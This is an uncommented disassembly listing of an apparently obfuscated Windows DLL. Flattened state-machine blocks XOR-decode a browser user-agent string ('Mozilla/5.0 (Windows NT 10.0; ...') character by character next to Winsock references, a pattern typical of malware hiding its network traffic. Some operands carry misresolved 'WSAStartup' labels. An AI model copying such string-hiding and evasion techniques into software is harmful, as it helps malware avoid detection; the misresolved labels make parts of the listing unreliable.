mov dword [rbp + 0x898], ecx
mov edx, dword [rbp + 0x898]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x8a4], edx
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x1f
mov edx, 0xaa53857a
cmovg edx, r9d
jmp 0x180076300
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x5b
setl byte [rbp + 0x890]
mov edx, 0xe4465726
jmp 0x180076300
mov edx, 0xd94e5921
mov ebx, dword [rbp + 0x8b0]
jmp 0x180076300
cmp edx, 0x6d3d8b8
jne 0x180076300
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
lea rdx, [rbp + 0x5f0]
lea r8, [rbp + 0x838]
xor ecx, ecx
call rax
test eax, eax
je 0x18007ad88
mov qword [rbp + 0x888], r13
mov rax, qword [rbp + 0x888]
mov word [rax], 0x88c8
mov rax, qword [rbp + 0x888]
mov dword [rbp + 0x8b8], 0x4d
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop
cmp ecx, 0xd06f174e
je 0x18007668e
cmp ecx, 0x7d37b2cf
jne 0x180076670
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076670
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800766d9
cmp ecx, 0xc25f9f7e
jne 0x1800766b0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800766b0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 2], cx
mov dword [rbp + 0x8b8], WSAStartup
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007671e
cmp ecx, 0x7d37b2cf
jne 0x180076700
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076700
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076769
cmp ecx, 0xc25f9f7e
jne 0x180076740
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076740
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 4], cx
mov dword [rbp + 0x8b8], 0x7a
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800767ae
cmp ecx, 0x7d37b2cf
jne 0x180076790
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076790
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800767f9
cmp ecx, 0xc25f9f7e
jne 0x1800767d0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800767d0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 6], cx
mov dword [rbp + 0x8b8], 0x69
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007683e
cmp ecx, 0x7d37b2cf
jne 0x180076820
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076820
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076889
cmp ecx, 0xc25f9f7e
jne 0x180076860
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076860
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 8], cx
mov dword [rbp + 0x8b8], WSAStartup
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800768ce
cmp ecx, 0x7d37b2cf
jne 0x1800768b0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x1800768b0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076919
cmp ecx, 0xc25f9f7e
jne 0x1800768f0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800768f0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0xa], cx
mov dword [rbp + 0x8b8], WSAStartup
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007695e
cmp ecx, 0x7d37b2cf
jne 0x180076940
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076940
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800769a9
cmp ecx, 0xc25f9f7e
jne 0x180076980
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076980
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0xc], cx
mov dword [rbp + 0x8b8], 0x61
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800769ee
cmp ecx, 0x7d37b2cf
jne 0x1800769d0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x1800769d0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076a39
cmp ecx, 0xc25f9f7e
jne 0x180076a10
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076a10
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0xe], cx
mov dword [rbp + 0x8b8], 0x20
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076a7e
cmp ecx, 0x7d37b2cf
jne 0x180076a60
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076a60
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076ac9
cmp ecx, 0xc25f9f7e
jne 0x180076aa0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076aa0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x10], cx
mov dword [rbp + 0x8b8], 0x2f
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076b0e
cmp ecx, 0x7d37b2cf
jne 0x180076af0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076af0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076b59
cmp ecx, 0xc25f9f7e
jne 0x180076b30
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076b30
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x12], cx
mov dword [rbp + 0x8b8], 0x20
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076b9e
cmp ecx, 0x7d37b2cf
jne 0x180076b80
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076b80
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076be9
cmp ecx, 0xc25f9f7e
jne 0x180076bc0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076bc0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x14], cx
mov dword [rbp + 0x8b8], 0x35
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076c2e
cmp ecx, 0x7d37b2cf
jne 0x180076c10
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076c10
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076c79
cmp ecx, 0xc25f9f7e
jne 0x180076c50
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076c50
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x16], cx
mov dword [rbp + 0x8b8], 0x2e
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076cbe
cmp ecx, 0x7d37b2cf
jne 0x180076ca0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076ca0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076d09
cmp ecx, 0xc25f9f7e
jne 0x180076ce0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076ce0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x18], cx
mov dword [rbp + 0x8b8], 0x30
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076d4e
cmp ecx, 0x7d37b2cf
jne 0x180076d30
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076d30
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076d99
cmp ecx, 0xc25f9f7e
jne 0x180076d70
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076d70
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x1a], cx
mov dword [rbp + 0x8b8], 0x20
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076dde
cmp ecx, 0x7d37b2cf
jne 0x180076dc0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076dc0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076e29
cmp ecx, 0xc25f9f7e
jne 0x180076e00
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076e00
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x1c], cx
mov dword [rbp + 0x8b8], 0x28
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076e6e
cmp ecx, 0x7d37b2cf
jne 0x180076e50
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076e50
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076eb9
cmp ecx, 0xc25f9f7e
jne 0x180076e90
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076e90
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x1e], cx
mov dword [rbp + 0x8b8], 0x57
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076efe
cmp ecx, 0x7d37b2cf
jne 0x180076ee0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076ee0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076f49
cmp ecx, 0xc25f9f7e
jne 0x180076f20
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076f20
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x20], cx
mov dword [rbp + 0x8b8], 0x69
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180076f8e
cmp ecx, 0x7d37b2cf
jne 0x180076f70
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180076f70
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180076fd9
cmp ecx, 0xc25f9f7e
jne 0x180076fb0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180076fb0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x22], cx
mov dword [rbp + 0x8b8], WSAStartup
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007701e
cmp ecx, 0x7d37b2cf
jne 0x180077000
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077000
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077069
cmp ecx, 0xc25f9f7e
jne 0x180077040
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077040
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x24], cx
mov dword [rbp + 0x8b8], 0x64
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800770ae
cmp ecx, 0x7d37b2cf
jne 0x180077090
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077090
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800770f9
cmp ecx, 0xc25f9f7e
jne 0x1800770d0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800770d0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x26], cx
mov dword [rbp + 0x8b8], WSAStartup
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007713e
cmp ecx, 0x7d37b2cf
jne 0x180077120
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077120
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077189
cmp ecx, 0xc25f9f7e
jne 0x180077160
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077160
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x28], cx
mov dword [rbp + 0x8b8], 0x77
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800771ce
cmp ecx, 0x7d37b2cf
jne 0x1800771b0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x1800771b0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077219
cmp ecx, 0xc25f9f7e
jne 0x1800771f0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800771f0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x2a], cx
mov dword [rbp + 0x8b8], reloc.WS2_32.dll_WSAStartup
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007725e
cmp ecx, 0x7d37b2cf
jne 0x180077240
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077240
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800772a9
cmp ecx, 0xc25f9f7e
jne 0x180077280
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077280
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x2c], cx
mov dword [rbp + 0x8b8], 0x20
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800772ee
cmp ecx, 0x7d37b2cf
jne 0x1800772d0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x1800772d0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077339
cmp ecx, 0xc25f9f7e
jne 0x180077310
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077310
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x2e], cx
mov dword [rbp + 0x8b8], 0x4e
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007737e
cmp ecx, 0x7d37b2cf
jne 0x180077360
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077360
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800773c9
cmp ecx, 0xc25f9f7e
jne 0x1800773a0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800773a0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x30], cx
mov dword [rbp + 0x8b8], 0x54
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007740e
cmp ecx, 0x7d37b2cf
jne 0x1800773f0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x1800773f0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077459
cmp ecx, 0xc25f9f7e
jne 0x180077430
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077430
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x32], cx
mov dword [rbp + 0x8b8], 0x20
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007749e
cmp ecx, 0x7d37b2cf
jne 0x180077480
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077480
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800774e9
cmp ecx, 0xc25f9f7e
jne 0x1800774c0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800774c0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x34], cx
mov dword [rbp + 0x8b8], 0x31
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007752e
cmp ecx, 0x7d37b2cf
jne 0x180077510
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077510
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077579
cmp ecx, 0xc25f9f7e
jne 0x180077550
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077550
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x36], cx
mov dword [rbp + 0x8b8], 0x30
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800775be
cmp ecx, 0x7d37b2cf
jne 0x1800775a0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x1800775a0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077609
cmp ecx, 0xc25f9f7e
jne 0x1800775e0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800775e0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x38], cx
mov dword [rbp + 0x8b8], 0x2e
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007764e
cmp ecx, 0x7d37b2cf
jne 0x180077630
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077630
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077699
cmp ecx, 0xc25f9f7e
jne 0x180077670
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077670
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x3a], cx
mov dword [rbp + 0x8b8], 0x30
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800776de
cmp ecx, 0x7d37b2cf
jne 0x1800776c0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x1800776c0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077729
cmp ecx, 0xc25f9f7e
jne 0x180077700
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077700
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x3c], cx
mov dword [rbp + 0x8b8], 0x3b
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007776e
cmp ecx, 0x7d37b2cf
jne 0x180077750
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077750
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800777b9
cmp ecx, 0xc25f9f7e
jne 0x180077790
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077790
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x3e], cx
mov dword [rbp + 0x8b8], 0x20
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800777fe
cmp ecx, 0x7d37b2cf
jne 0x1800777e0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x1800777e0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077849
cmp ecx, 0xc25f9f7e
jne 0x180077820
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077820
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x40], cx
mov dword [rbp + 0x8b8], 0x57
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007788e
cmp ecx, 0x7d37b2cf
jne 0x180077870
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077870
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800778d9
cmp ecx, 0xc25f9f7e
jne 0x1800778b0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800778b0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x42], cx
mov dword [rbp + 0x8b8], 0x69
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x18007791e
cmp ecx, 0x7d37b2cf
jne 0x180077900
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077900
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077969
cmp ecx, 0xc25f9f7e
jne 0x180077940
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
